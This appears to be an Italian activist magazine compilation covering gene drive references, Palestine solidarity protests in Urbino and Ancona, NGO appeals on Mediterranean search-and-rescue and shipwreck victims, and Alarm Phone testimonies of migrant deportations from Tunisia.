[7] Clauda Emerson et al., Principles for gene drive research. Sponsors and supporters of gene drive research respond to a National Academies report, “Science”, 358, 6367, (2017), p. 1135-1136, DOI: 10.1126/science.aap9026.
[8] Virginie Courtier-Orgogozo [et al.], Evaluating the probability of CRISPR-based gene drive contaminating another species, “Evolutionary Applications”, 13, 8, (2020), p. 1888-1905, DOI: 10.1111/eva.12939.
[9] Kevin M. Esvelt, Neil J. Gemmell, Conservation demands safe gene drive, “PLOS Biology”, 16 nov. 2017, DOI: 10.1371/journal.pbio.2003850.
[10] Jemimah Steinfeld, China’s deadly science lesson: How an ill-conceived campaign against sparrows contributed to one of the worst famines in history, “Index on Censorship”, 47, 3, (2018), p. 49, DOI: 10.1177/0306422018800259.
[11] Arthur Nelsen, US military agency invests $100m in genetic extinction technologies, “The Guardian”, 4 dic. 2017, <www.theguardian.com>.
[13] Sulle opposizioni ai progetti di Target Malaria (ma anche per una disamina delle linee guida del filantrocapitalismo e, dall’altra parte, dei movimenti per la sovranità alimentare e territoriale) si veda Maura Benegiamo, The Target Malaria project and the gene drive experiment: for an ontological politics of the neoliberal bioeconomy and its controversies, “Rassegna italiana di sociologia”, 4, 2024, p. 959-986, DOI: 10.1423/115307
[14] I documentari, sottotitolati in italiano, sono disponibili sul canale youtube di Resistenze al nanomondo.
[15] Enrica Perucchietti, No al “neocolonialismo scientifico”: Il Burkina Faso vieta le zanzare OGM di Bill Gates, “L’indipendente”, 25 ago. 2025.
[16] Cit. in Maura Benegiamo, The Target Malaria project and the gene drive experiment, cit.
Le studentesse e gli studenti di Urbino si sono mobilitati contro un governo complice del genocidio, che rivendica oggi una pace fittizia, che sarà un nuovo inferno per i palestinesi.
La mobilitazione di lunedì 13, con grande partecipazione studentesca e cittadina, è terminata nell’occupazione dell’aula cinema del complesso Volponi di Urbino.
Data la posizione avanzata del nostro Ateneo rispetto alla situazione in Palestina – esplicitata dalla “Dichiarazione del Senato Accademico dell’Università di Urbino Carlo Bo sulla guerra in Palestina” – abbiamo ritenuto necessario portare alla luce alcune contraddizioni, tra cui le collaborazioni con le industrie belliche sul territorio (Benelli Armi) e con le multinazionali, come Coca-Cola HBC ITALIA, promotrici dell’occupazione e del genocidio del popolo palestinese.
Le nostre richieste, oltre alla cessazione di tali rapporti, comprendono l’istituzione di uno spazio di discussione politica, dove tutti gli studenti e le studentesse possano informarsi e organizzarsi e l’introduzione di insegnamenti decoloniali da parte dei docenti che sentono la necessità fare informazione sulla questione palestinese.
L’occupazione è continuata il giorno seguente.
Abbiamo ottenuto un primo colloquio nell’aula occupata con il Rettore dell’Università e siamo tutt’ora in trattativa.
Da qualche settimana la bandiera di One Piece sventola anche ad Ancona. Uno degli effetti più miracolosi delle formidabili manifestazioni per la Palestina nel capoluogo della nostra regione è stata l’apparizione della Generazione Z, finalmente nei cortei. Quando qualche migliaio di persone hanno travolto la ridicola linea di contenimento della digos e sono entrate nel porto commerciale di Ancona, la bandiera del pirata manga sventolava senza pensieri.
Le ultime settimane di settembre e poi lo sciopero generale del 3 ottobre e la manifestazione ardente di Roma il giorno dopo, hanno visto un’accelerazione di eventi, idee ed emozioni come non si vedeva da un po’. Il genocidio palestinese ha evidentemente raggiunto un livello di tale intollerabilità da alterare degli equilibri sociali che sembravano congelati.
Il 22 settembre, in solidarietà con l’iniziativa della Global Sumud Flotilla, più di 8.000 persone hanno occupato il porto di Ancona con un corteo e un presidio fisso, partecipando a due iniziative diverse che sono risultate complementari nonostante le differenze e la difficile comunicazione tra gli organizzatori, il Coordinamento Marche per la Palestina e i Centri sociali delle Marche. A distanza di meno di dieci giorni, quando la Flotilla di solidarietà con Gaza è stata sequestrata dai corsari israeliani, l’Italia è stata svegliata dal primo vero sciopero generale dopo vent’anni di torpore. Anche ad Ancona si è data la convergenza seppure difficoltosa di sindacalismo di base, CGIL e movimento per la Palestina.
Il 3 ottobre i manifestanti e le manifestanti, determinati e indisciplinati, sono riusciti con la loro pressione a entrare fin dentro il porto commerciale e a bloccare per ore le attività di carico e scarico di una mega nave della compagnia MSC. Lo stesso è accaduto ai traghetti in arrivo e in partenza. Alla fine della giornata un corteo spontaneo ha bloccato uno degli snodi più importanti del capoluogo e ha fronteggiato la polizia in assetto antisommossa che sbarrava l’accesso alla stazione ferroviaria. Proprio in quel momento si sono palesati al grido di “Palestina libera!” i fantasmagorici maranza, l’incubo di Piantedosi da quando Ramy è stato ammazzato a Milano da una volante dei carabinieri. Il tappo non è saltato, almeno per ora, ma sono nate delle amicizie e qualche complicità.
Durante queste giornate, e anche in quelle con minore partecipazione ma grande energia, abbiamo visto persone che pensavamo scomparse, la generazione sotto i trent’anni: determinata, curiosa, aperta. Ci sono stati incontri e si è riaperto un senso inedito di possibilità di cambiamento. Una posizione etica, contro un mondo insopportabile ha riaperto la possibilità di criticare tutto il resto, le condizioni materiali della miseria capitalista, la crisi ecologica, l’autoritarismo del fascismo degli algoritmi. Eppure i rapporti di forza sono ancora molto sfavorevoli. La minaccia di una guerra in Europa aumenta di livello e la Palestina viene maltrattata sempre di più nonostante una crescente solidarietà globale dal basso. L’intervento diplomatico di Trump per il cessate il fuoco a Gaza ha tanto il sapore di una grande operazione globale di contro-insurrezione preventiva, sulle spalle di una resistenza palestinese stremata e tradita dagli stati arabi.
Ci riempie il cuore il sorriso dei bambini e delle bambine di Gaza che forse per un po’ vivranno senza il suono delle bombe. Ma sappiamo che quella storia non finisce qui. Quello che abbiamo visto nascere è un movimento incredibile e necessario, quanto fragile e minacciato da tanti pericoli. Dobbiamo averne cura. Come rivista continuiamo a offrire uno spazio di crescita, confronto e critica a chi non si accontenta del presente e non vuole chiudersi in identità settarie ed escludenti.
Su questo numero continuiamo quindi ad approfondire i temi che ci stanno a cuore, per non rinunciare a formarci, per affinare capacità critica, creatività politica e culturale. Le pagine si aprono e si chiudono con due spazi anarchici di parola e cooperazione: il Bologna Anarchist Book Fair e l’intervista con il sempreverde Tomás Ibáñez, anarchico spagnolo di grande esperienza ed etica. Quel che c’è in mezzo ve lo lasciamo scoprire. Infine, lanciamo un saluto al Raduno intergalattico di Genuino Clandestino, ospitato a metà ottobre dalla CIURMA a Urbino: mercato contadino, festa, discussioni, convivialità… ne parleremo diffusamente sul prossimo numero.
CommemorAction a Zarzis, Tunisia, settembre 2022. Foto: Chiara Denaro, Alarm Phone.
A seguito dei naufragi avvenuti nel Canale di Sicilia durante il ciclone “Harry”, che hanno causato circa mille dispersi tra il 14 e il 21 gennaio 2026, MEM.MED, ASGI, Mediterranea e Alarm Phone hanno inviato lettere alle autorità nazionali e locali competenti per sollecitare l’attivazione immediata di tutte le procedure necessarie per l’identificazione dei corpi riaffiorati lungo le coste siciliane e calabresi, chiedendo il pieno rispetto dei protocolli per il prelievo del DNA e la tracciabilità certa delle sepolture per dare risposte alle numerose famiglie che cercano i propri cari.
Nel mese di gennaio 2026, a seguito dell’aggravarsi delle violenze in Tunisia, centinaia di persone sono partite da Sfax, nel tentativo di raggiungere le coste settentrionali del Mediterraneo. Molte partenze sono avvenute tra il 14 e il 21 gennaio, negli stessi giorni in cui il Canale di Sicilia è stato interessato del ciclone “Harry”, che ha colpito per circa due settimane il Mediterraneo centrale, rendendo le condizioni meteorologiche particolarmente avverse e rendendo difficile, a causa di effetti incrociati, il poter stabilire delle rotte certe. Secondo quanto riferito dalle organizzazioni Mediterranea, Refugees in Libya e Alarm Phone, sarebbero state oltre dieci le imbarcazioni partite in quel periodo, per un totale stimato di almeno mille persone disperse in mare. Ad oggi, risulta che solo una delle imbarcazioni sia riuscita a raggiungere Lampedusa, mentre delle altre non si hanno notizie certe. Nelle settimane successive, un corpo è stato recuperato in mare dalla nave Ocean Viking, operata dalla ONG SOS Méditerranée mentre altri sono riemersi dal mare o recuperati sulle coste vicino a Trapani e Marsala, vicino a Pantelleria, nei comuni di Tropea, Amantea, Scalea e Paola. Appare probabile che nei prossimi giorni e settimane ne verranno avvistati in avanzato stato di decomposizione e, quindi, non riconoscibili.
Le associazioni Alarm Phone e MEM.MED riferiscono di aver ricevuto numerose segnalazioni da parte di familiari alla ricerca di propri cari dispersi, partiti in quei giorni dalle coste tunisine. MEM.MED, per il tramite del legale incaricato dai congiunti delle persone disperse, ha inviato formali richieste alle autorità competenti affinché siano svolti tutti gli accertamenti necessari sui corpi rinvenuti, al fine di verificare l’eventuale corrispondenza tra le salme recuperate e i cari scomparsi.
Alla luce di tali circostanze, le organizzazioni coinvolte sottolineano l’importanza di attivare e garantire tutte le procedure necessarie per consentire il maggior numero possibile di identificazioni e la restituzione delle salme alle famiglie.
“Al fine di restituire un’identità ed una storia alle persone scomparse e dare risposte certe alle famiglie in attesa abbiamo sollecitato l’adozione di procedure rigorose e coordinate,”
dichiarano le organizzazioni che hanno inviato lettere alle autorità nazionali e locali competenti, affinché tutte le procedure finalizzate a una corretta identificazione vengano svolte con tempestività e nel pieno rispetto dei protocolli previsti, inclusi il prelievo e la comparazione del DNA e la tracciabilità certa del luogo di sepoltura.
“Ribadiamo che il riconoscimento ufficiale è un atto di civiltà giuridica dovuto a chiunque perda la vita attraversando le frontiere,” concludono le organizzazioni.
SV Nadir detained at Molo Commerciale, Lampedusa. Image: Paula Gaess / Resqship
32 organizzazioni chiedono l’immediata cessazione dell’ostruzionismo sistematico contro le operazioni di ricerca e soccorso (SAR) delle ONG da parte dello Stato italiano. Soltanto nell’ultimo mese, le imbarcazioni delle ONG sono state fermate tre volte a causa di accuse basate sul Decreto Piantedosi. Una di esse, l’imbarcazione di monitoraggio “Nadir” gestita da RESQSHIP, è stata fermata due volte di seguito. Tenere deliberatamente lontane le organizzazioni non governative di ricerca e soccorso dal Mediterraneo centrale causa innumerevoli morti in mare lungo una delle rotte migratorie più letali al mondo.
Nonostante i numerosi appelli lanciati dalle organizzazioni SAR, le imbarcazioni delle ONG continuano ad essere arbitrariamente detenute a causa del Decreto Piantedosi approvato nel gennaio 2023 e inasprito dalla conversione in legge del Decreto Flussi nel dicembre 2024. Nell’ultimo mese, “Nadir” e “Sea-Eye 5” – due delle imbarcazioni più piccole, rispettivamente gestite da RESQSHIP e Sea-Eye – sono state detenute con l’accusa di non aver rispettato le istruzioni delle autorità. Ad entrambi gli equipaggi sono stati assegnati porti distanti per sbarcare i sopravvissuti e sono stati invitati a procedere con trasbordi selettivi dei naufraghi sulla base di criteri di vulnerabilità, nonostante un’adeguata valutazione delle vulnerabilità richieda un ambiente sicuro e non possa essere condotta a bordo di una imbarcazione subito dopo un salvataggio.
L’introduzione di questi ostacoli legali e amministrativi persegue un obiettivo evidente: tenere le imbarcazioni SAR lontane dalle aree operative, limitando drasticamente la loro presenza e attività in mare. In assenza delle navi e degli aerei delle ONG, sempre più persone perderanno la vita nel tentativo di attraversare il Mediterraneo centrale; le violazioni dei diritti umani e i naufragi resteranno invisibili. Le imbarcazioni più piccole svolgono un ruolo cruciale: sorvegliano le rotte, forniscono i primi soccorsi alle persone in situazione di pericolo e, quando necessario, accolgono a bordo i sopravvissuti fino all’arrivo di navi meglio attrezzate.
Da febbraio 2023, le imbarcazioni delle ONG sono state oggetto di 29 fermi amministrativi, per un totale di 700 giorni trascorsi in porto invece di salvare vite umane in mare. Le stesse navi hanno trascorso altri 822 giorni in mare per raggiungere porti assegnati a distanze ingiustificabili, per un totale di 330.000 chilometri di navigazione. Misure che inizialmente riguardavano solo le navi SAR delle organizzazioni non governative sono ora estese anche alle imbarcazioni più piccole con un ruolo di monitoraggio.
Le ONG sono inoltre costrette a spendere una gran quantità di tempo e risorse per contestare la restrittiva legislazione italiana e i fermi amministrativi arbitrariamente imposti.
Negli ultimi mesi, alcuni tribunali italiani – a Catanzaro, Reggio Calabria, Crotone, Vibo Valentia e Ancona – hanno riconosciuto attraverso le loro sentenze l’illegittimità di fermi amministrativi nei confronti delle imbarcazioni di soccorso delle ONG, annullando di conseguenza le relative sanzioni. Nell’ottobre 2024, il Tribunale di Brindisi ha richiesto alla Corte costituzionale italiana di valutare la compatibilità del Decreto Piantedosi, convertito in legge nel febbraio 2023, con la Costituzione. L’8 luglio 2025 la Corte ha ribadito che il diritto marittimo internazionale non può essere aggirato da norme punitive e discriminatorie, e che qualsiasi decisione contraria ad esso deve essere pertanto considerata illegale e illegittima.
La mancata assistenza è reato!
In base al diritto marittimo internazionale, ogni comandante ha l’obbligo di prestare soccorso a persone che si trovino in situazione di pericolo in mare. Allo stesso modo, ogni Stato che gestisce un Centro di coordinamento del soccorso (RCC) è tenuto, per legge, a facilitare e avviare senza ritardo le operazioni di salvataggio. Quello a cui oggi assistiamo non è tanto un fallimento dello Stato, ma una serie di violazioni deliberate: l’occultamento di informazioni su casi di soccorso, il coordinamento con la cosiddetta Guardia Costiera libica per eseguire respingimenti illegali anche in acque maltesi, e le omissioni da parte di Frontex mentre osserva naufragi e intercettazioni violente senza intervenire.
Queste pratiche costituiscono una chiara violazione della Convenzione internazionale per la salvaguardia della vita umana in mare (SOLAS), della Convenzione internazionale sulla ricerca ed il salvataggio marittimo, della Convenzione delle Nazioni Unite sul diritto del mare (UNCLOS) e del principio di “non refoulement”. Quando gli Stati ostacolano le operazioni di salvataggio invece di facilitarle, non stanno applicando la legge; la stanno violando.
Contesto
Nel dicembre 2024 è entrato in vigore il Decreto Flussi (convertito con legge 145/2024) relativo alla legislazione in materia di migrazione e asilo. Questo decreto inasprisce le disposizioni già restrittive del Decreto Piantedosi, che prevede sanzioni pecuniarie, detenzioni e confische definitive per le imbarcazioni di ricerca e soccorso. Le nuove disposizioni facilitano ulteriormente la confisca delle imbarcazioni di ricerca e soccorso, rendendo l’armatore e il proprietario della nave – indipendentemente dal comandante – responsabile in caso di violazioni ripetute. Costituiscono quindi un ulteriore strumento per ostacolare le attività di ricerca e soccorso delle ONG nel Mediterraneo centrale.
Dieci anni fa, ONG attive nel campo della ricerca e soccorso hanno iniziato a colmare il vuoto letale lasciato dall’UE e dai suoi Stati membri nel Mediterraneo centrale. Mentre l’UE si concentrava sempre più sul controllo e sull’esternalizzazione delle proprie frontiere per impedire l’arrivo di persone in fuga verso le coste europee, dal 2015 più di 175.500 persone sono state soccorse dalle imbarcazioni delle ONG. Dal 2017, tuttavia, queste organizzazioni SAR sono sempre più esposte alla criminalizzazione e all’ostruzionismo sistematico a causa di leggi e politiche restrittive, che contraddicono il diritto marittimo internazionale e i diritti umani.
Chiediamo che:
I Decreti Piantedosi e Flussi siano immediatamente abrogati, per mettere fine alle disumane richieste che impongono alle imbarcazioni di soccorso di procedere a sbarchi selettivi e all’assegnazione di porti distanti. In conformità con il diritto marittimo internazionale, le persone soccorse devono essere sbarcate senza ritardo nel luogo sicuro più vicino; non possono essere costrette a sostenere lunghi viaggi a fini di strumentalizzazione politica.
L’imbarcazione di monitoraggio “Nadir” sia immediatamente rilasciata e che siano definitivamente rimossi gli ostacoli e le pratiche di criminalizzazione contro le attività delle ONG impegnate nella ricerca e soccorso in mare.
Gli Stati membri dell’UE adempiano al loro dovere di soccorso in mare e rispettino il diritto internazionale. Le autorità dovrebbero fornire a tutte le imbarcazioni SAR il supporto necessario nelle operazioni di soccorso e assumersi la responsabilità e il coordinamento delle attività di salvataggio di chi si trova in situazione di pericolo in mare.
Sia istituita una missione di ricerca e soccorso finanziata e coordinata dall’UE.
Siano garantite vie di accesso sicure e legali verso l’Europa, per impedire che chiunque debba salire a bordo di imbarcazioni precarie ed intraprendere viaggi pericolosi o perfino mortali.
Firmatarie:
Association for Juridical Studies on Immigration (ASGI)
borderline-europe, Human rights without borders e.V.
Captain Support Network
Cilip | Bürgerrechte & Polizei
CompassCollective
CONVENZIONE DEI DIRITTI NEL MEDITERRANEO
EMERGENCY
European Center for Constitutional and Human Rights (ECCHR)
Gruppo Melitea
iuventa-crew
LasciateCIEntrare
Maldusa project
Médecins Sans Frontières
MEDITERRANEA Saving Humans
MEM.MED Memoria Mediterranea
migration-control.info project
MV Louise Michel project
Open Arms
RESQSHIP
r42 Sail And Rescue
Refugees in Libya
Salvamento Marítimo Humanitario (SMH)
SARAH-Seenotrettung
Sea-Eye
Sea Punks e.V
Sea-Watch
SOS Humanity
SOS MEDITERRANEE
Statewatch
Tunisian Forum for Social and Economic Rights FTDES
Durante la primavera del 2025, in un momento in cui il governo tunisino aveva nuovamente intensificato la violenza contro le persone nere in movimento, siamo state ripetutamente allertate riguardo le sistematiche espulsioni verso il deserto, con conseguenti morti o sparizioni.
Espulsioni in seguito a naufragi
Il viaggio, secondo la testimonianza condivisa. Foto: Alarm Phone
L’ultimo pomeriggio del 2024, siamo state informate di una barca in pericolo con a bordo circa 60 uomini. Erano partiti il 31 dicembre da Zuwara alla volta di Lampedusa ma, poco dopo la partenza, avevano avuto un guasto al motore. Mohammad, alleato di Alarm Phone e membro di una rete siriana che sostiene le persone in pericolo in mare, ci aveva riportato quanto accaduto:
“All’inizio di questo nuovo anno, avevamo già assistito a troppe tragedie nel Mar Mediterraneo, causate dalle politiche di chiusura delle frontiere, del razzismo dilagante e dell’incapacità delle autorità di adempiere al loro dovere. Oggi ricordo un incidente avvenuto il 31 dicembre, che ha causato la morte di 16 migranti. Come molti altri giorni, avevo ricevuto una chiamata da persone in pericolo in mare. Erano le 8:00 del mattino, il mio telefono aveva squillato. La persona aveva detto “Pronto” e io avevo risposto “Pronto, cosa posso fare per lei?”. Aveva iniziato a spiegarmi la situazione, ma la chiamata era stata improvvisamente interrotta a causa di interferenze.
Prima che la linea cadesse, mi aveva detto che uno dei motori della loro barca si era guastato, e che l’altro funzionava ancora. Avevo provato a richiamare più volte, senza successo. In stretta collaborazione con Alarm Phone, avevamo lavorato instancabilmente per ore cercando di localizzarli. Nel frattempo, avevano iniziato ad arrivare chiamate da parte delle loro famiglie, con domande strazianti: “È successo qualcosa di grave? Sono arrivati sani e salvi?” Non avevo risposte.
Una madre mi aveva detto: “Mi dica, mio figlio è annegato?” La sua voce trasmetteva una certezza, come se sapesse già la verità senza che nessuno gliela avesse detta. Sì, la barca, con a bordo circa 60 persone, era affondata.
Più tardi, avevo ricevuto una chiamata da un pescatore che mi aveva detto di aver soccorso alcuni sopravvissuti e di averli portati in Tunisia. Tuttavia, le autorità locali li avevano trattati come sempre accade, e li avevano deportati nel deserto al confine con l’Algeria. Le persone avevano camminato per 10 ore nel deserto senza cibo né acqua prima di trovare qualcuno che le aiutasse.
In seguito, mi avevano richiamato per informarmi di aver finalmente raggiunto Algeri dopo un viaggio estenuante. Ma la tragedia non era finita qui. Mi avevano spiegato che il gruppo originario si era diviso durante il calvario e che alcune persone erano ancora dispersie nel deserto. Avevano anche perso un amico in mare, di cui non si conoscevano né il nome completo né i contatti della famiglia.
Avevamo cercato di sollecitare le autorità, affinché intervenissero, ma nessuno aveva fatto nulla. Avevano lasciato quelle persone morire in mare o nel deserto.
Spero che la lotta continui e che cresca il numero di coloro che lottano per la giustizia e l’umanità in mare. Le uccisioni alle frontiere devono finire! E tutte le persone hanno bisogno di vie di comunicazione libere e sicure per viaggiare”.
Frammenti di un video che mostrava il difficile soccorso dell’imbarcazione capovolta, da parte dei pescatori. Video condiviso con Alarm Phone da un parente delle persone a bordo.
Nonostante la nostra segnalazione alle autorità europee e tunisine, il soccorso dei naufraghi era stato effettuato da pescatori tunisini che, per fortuna, si trovavano nella zona. Tragicamente, per 16 persone il soccorso era giunto troppo tardi.
Una volta giunteo a terra, le autorità tunisine avevano deciso di deportare i sopravvissuti nel deserto, esponendoli nuovamente alla morte.
Uno dei gruppi più piccoli era stato spinto nella regione desertica al confine con l’Algeria. Grazie alla conoscenza dell’arabo, alla loro giovane età e buona salute, erano riusciti a raggiungere Algeri. Dopo la violenza subita alle frontiere esterne dell’Unione Europea, decisero di tornare in Siria.
Un altro sopravvissuto è scomparso dopo il soccorso verso Sfax. Dopo settimane di ricerche da parte del fratello, ha dato un segno di vita da una prigione di Tebesa, sul lato algerino del confine con la Tunisia. Era finito lì dopo essere stato portato in autobus a Kasserine, poi a Thala e successivamente spinto oltre il confine. Nella prigione era detenuto insieme ad altre 35 persone, di cui almeno due minorenni. Altri hanno riferito di essere stati lì per cinque o sei mesi.
Alla fine di aprile è stato espulso dall’Algeria verso il Pakistan, in aereo, insieme ad altre persone provenienti dal Pakistan.
Le espulsioni multiple che hanno causato la morte del piccolo Elian Michel
Il viaggio, secondo la testimonianza condivisa. Foto: Alarm Phone
Nel mese di febbraio, Alarm Phone è stata contattata da una madre che aveva perso il suo bimbo di soli tre mesi. Era accaduto dopo diverse espulsioni verso le zone di confine, seguite all’intercettazione in mare sua e del marito da parte della guardia costiera tunisina:
“Mi chiamo S., sono camerunese. Ho lasciato il mio paese due anni fa. All’epoca avevo una relazione con quello che ora è mio marito, ma essendo studenti non avevamo molti soldi, quindi i miei genitori volevano costringermi a sposarmi. È stato per evitare questo matrimonio forzato che mi sono vista costretta a fuggire dal mio Paese.
Io e mio marito siamo arrivati in Tunisia alla fine del 2023 con l’idea di stabilirci lì e iniziare una nuova vita. Sapevamo che la situazione nel Paese era difficile, ma non immaginavamo che le condizioni di vita fossero così dure. Abbiamo vissuto a Tunisi per due mesi, condividendo un appartamento con altre persone e lavorando per pagare l’affitto. Eppure, la situazione è peggiorata molto rapidamente: il razzismo era ovunque e sempre più persone che conoscevamo venivano arrestate e sbattute in prigione. Questo accadeva anche a persone che avevano i documenti. Molti sono scomparsi dopo essere stati deportati nel deserto.
Nell’inverno del 2024 siamo partiti per Sfax per cercare di fuggire, dinanzi al numero crescente di arresti. Quando siamo arrivati, abbiamo trovato un piccolo posto in affitto. Purtroppo, dopo poche settimane, il nostro padrone di casa ha subito pressioni dalla Guardia Nazionale per sfrattarci e abbiamo dovuto andarcene. Siamo quindi andati a vivere fuori Sfax, negli uliveti. I campi venivano regolarmente distrutti dalle forze dell’ordine, e avevamo dovuto spostarci.
Le condizioni di vita nei campi sono molto precarie: Le persone vivono in rifugi fatti di rifiuti di plastica e legno. Li dentro fa molto freddo, ma almeno offrono un po’ di protezione. Non c’è accesso all’acqua corrente. A volte gli abitanti del posto vengono a venderci lattine. Ci sono anche agricoltori che ci aiutano e quando vengono ad annaffiare i campi ci lasciano usare i loro serbatoi. Ma quell’acqua non è potabile e dobbiamo comunque comprare bottiglie extra. Mio marito aveva trovato un piccolo lavoro notturno che gli permetteva di guadagnare un po’ di soldi. Questo ci permetteva di comprare da mangiare.
Le condizioni erano così difficili e gli arresti così frequenti che avevamo deciso di fuggire dalla Tunisia, soprattutto perché avevo appena avuto un bambino con mio marito: il piccolo Elian Michel. All’inizio di febbraio 2025, siamo partiti su una barca di metallo verso l’Europa. La barca era molto affollata e instabile (eravamo in 47), ma procedeva bene. Al mattino presto, dopo alcune ore di navigazione, quando eravamo in acque internazionali, la Guardia Nazionale ci ha individuati. Ci avevano chiesto di spegnere il motore, minacciando di affondare la barca se avessimo rifiutato. Avevamo obbedito immediatamente perché avevamo troppa paura che potessero provocare onde che ci avrebbero fatto capovolgere.
Eravamo stati avvistati inizialmente da guardie costiere su moto d’acqua, che poi avevano chiamato due grandi imbarcazioni della Guardia Nazionale, giunte poco dopo. Ci avevano diviso in due gruppi, uno su ogni imbarcazione, prima di farci sbarcare nel porto di Sfax. Eravamo tutti bagnati e tremanti dal freddo, ma non ci avevano dato né coperte, né acqua, né cibo. Dato che avevo lasciato il latte del bambino sulla barca, avevo chiesto all’ufficiale della Guardia Nazionale di poterlo andare comprare in farmacia. Lui aveva risposto che non era permesso. Eppure vedeva che il mio bambino era molto piccolo, che aveva solo due mesi e mezzo ed era tutto bagnato… non mi aveva ascoltato nonostante le mie suppliche. Eravamo rimasti rinchiusi nel porto, per terra, tutto il giorno. Due donne incinte erano svenute ed erano state portate in ospedale. Ma nessuno aveva fatto nulla per il mio bambino.
Alla fine della giornata sono arrivati altri poliziotti. Ci hanno ammanettato tutti. Avevo le mani legate dietro la schiena e il mio bambino era sul petto, non potevo più toccarlo. Ci hanno fatto salire su un autobus. Altre persone si erano unite a noi sull’autobus: erano altri neri che la guardia nazionale aveva arrestato e messo in prigione. Restammo ammanettati sull’autobus per 5 ore. C’era un autista e altri 4 poliziotti che avevano il compito di perquisirci durante il viaggio. Chi protestava veniva picchiato. Non ci avevano ancora dato nulla da mangiare o da bere. Altri veicoli della Guardia Nazionale seguivano l’autobus.
Quando l’autobus si è fermato era buio. I poliziotti ci hanno fatto scendere uno alla volta. C’erano quattro auto con circa quindici poliziotti armati fino ai denti. Ci hanno tolto le manette, ci hanno fatto camminare per un chilometro prima di dirci di andare avanti senza voltarci. Grazie a qualcuno che era riuscito a tenere il cellulare, abbiamo capito che eravamo al confine con l’Algeria. Ci siamo divisi in due gruppi: alcuni volevano rifugiarsi in Algeria, ma io e mio marito volevamo avvicinarci il più possibile a una città per comprare del cibo per il nostro bambino, quindi ci siamo uniti al gruppo che voleva tornare in Tunisia.
Così abbiamo camminato tutta la notte con altre quindici persone circa. Un fratello mi ha dato dell’acqua per il mio bambino, ma mi sono accorta che era molto debole. Nel cuore della notte, il nostro gruppo è stato individuato dalla Guardia Nazionale. Tutti sono stati catturati, picchiati e probabilmente deportati di nuovo, tranne noi tre che siamo riusciti a nasconderci. Al mattino presto siamo arrivati in una piantagione di datteri vicino a un villaggio. Lì c’era un anziano che ha deciso di aiutarci quando ci ha visti. Ha chiamato qualcuno che è andato a comprare del latte, un biberon e del cibo per noi. Abbiamo mangiato, riposato e alla fine della giornata abbiamo deciso di ripartire. Volevamo camminare di notte perché sapevamo che durante il giorno c’era troppo rischio di essere individuati: se qualcuno ti vede, spesso chiama direttamente la polizia…
Dopo aver camminato per due giorni, siamo arrivati in una città un po’ più grande, ma qualcuno deve averci denunciato perché è arrivata la polizia e ci ha arrestati. Siamo stati nuovamente trasportati in auto per molte ore. Ci siamo resi conto che la guardia nazionale ci stava portando in Libia. Era buio quando ci hanno fatto scendere dall’auto. I libici ci aspettavano a pochi metri di distanza. Altre persone venivano deportate insieme a noi. Per fortuna siamo riusciti a nasconderci in una specie di grande tubo che si trovava lì vicino. I libici ci hanno cercato per un po’, ma grazie a Dio non ci hanno trovato.
Ancora una volta abbiamo camminato tutta la notte, sperando di trovare un villaggio sul lato tunisino. Abbiamo incontrato un uomo che ha deciso di aiutarci. Ha chiamato suo figlio, che ci ha portato a una stazione per poter tornare a Sfax. Ma ancora una volta la polizia ci ha fermato. Questa volta siamo stati deportati al confine algerino, sulle colline vicino a Tebessa. Dopo una settimana di vagabondaggio sulle colline, siamo riusciti a convincere un abitante del luogo a riportarci a Sfax in cambio di una somma di denaro. E così, dopo un mese nel deserto, siamo tornati agli uliveti. Abbiamo scoperto che il nostro rifugio era stato distrutto, quindi siamo andati ad accamparci un po’ più lontano.
Dato che il mio bambino non stava bene, sono andata da una sorella africana che era infermiera nel mio paese. Ha visitato mio figlio e mi ha detto che probabilmente aveva l’ipotermia. Purtroppo non abbiamo avuto il tempo di fare nulla. Quella notte l’ho messo a letto, ben coperto. Non si è più svegliato. Mio marito ed io abbiamo pianto molto, eravamo sotto shock. Uno dei leader della comunità del campo è venuto a trovarci e ci ha detto che avrebbe informato la Guardia Nazionale della morte. La Guardia Nazionale è venuta a prendere mio marito e il corpo del bambino. Sono andati all’ospedale dove un medico ha dichiarato il decesso. La polizia ha riportato mio marito al campo: lui voleva tenere il corpo con sé, ma glielo hanno impedito e gli hanno detto di lasciarlo nel furgone.
Non so se il mio bambino è stato sepolto e cosa sia successo al corpo. Come madre in lutto, è importante per me sapere dove si trova il corpo e poterlo salutare. È una situazione molto difficile. Oltre a questa perdita, c’è la situazione molto complicata in cui ci troviamo in Tunisia, a causa del razzismo e dei continui arresti e deportazioni. Non possiamo restare in Tunisia. Non abbiamo altra scelta che cercare di fuggire di nuovo da questo Paese”.
Queste sono solo due testimonianze che descrivono la situazione disumana dei migranti in Tunisia, Libia e Algeria, dove le loro vite non contano nulla e vengono abbandonati.
Le testimonianze presentate in questo rapporto mettono a nudo le brutali conseguenze di un regime di deportazione transnazionale che svaluta sistematicamente le vite dei migranti neri. La catena di eventi – dalle intercettazioni in mare agli abbandoni nel deserto e alle espulsioni transfrontaliere – rivela una politica deliberata di deterrenza attraverso la sofferenza. La Tunisia, con il sostegno tacito e palese degli attori europei, sta attuando pratiche che espongono i migranti non solo a ripetute violazioni dei loro diritti fondamentali, ma anche al rischio imminente di morte.
Queste storie non sono isolate. Riflettono un modello: persone sopravvissute a naufragio, deportate nel deserto; famiglie che subiscono perdite devastanti dopo ripetuti sgomberi forzati; individui che scompaiono oltre confine, detenuti a tempo indeterminato o che svaniscono senza lasciare traccia.
Questo sistema di controllo esternalizzato delle frontiere non si ferma ai confini fisici: si estende alle vite delle persone, lacerando famiglie, cancellando futuri e aggravando la violenza del controllo razziale delle migrazioni. Il regime di frontiera ha trovato un altro modo di strumentalizzare questo ambiente letale, condannando le persone a morire in mare o nelle regioni desertiche. Queste tragiche conseguenze non sono accidentali. Sono il risultato prevedibile ed evitabile delle politiche gestite dall’UE, elaborate per rafforzare le frontiere, indipendentemente dai costi in termini di vite umane.
Con Alarm Phone, piangiamo queste morti e facciamo eco alla richiesta di coloro che resistono a queste ingiustizie: le uccisioni alle frontiere devono cessare, libertà di movimento per tutte e tutti!
Di fronte al genocidio in corso a Gaza e a seguito dell’attacco con droni, siamo uniti nella solidarietà con la Freedom Flotilla!
Nella mattina del 2 maggio abbiamo assistito all’ennesima violazione del diritto umanitario internazionale: la nave Conscience, parte della Freedom Flotilla, diretta a Gaza per consegnare aiuti umanitari e medicinali, è stata attaccata da due droni.
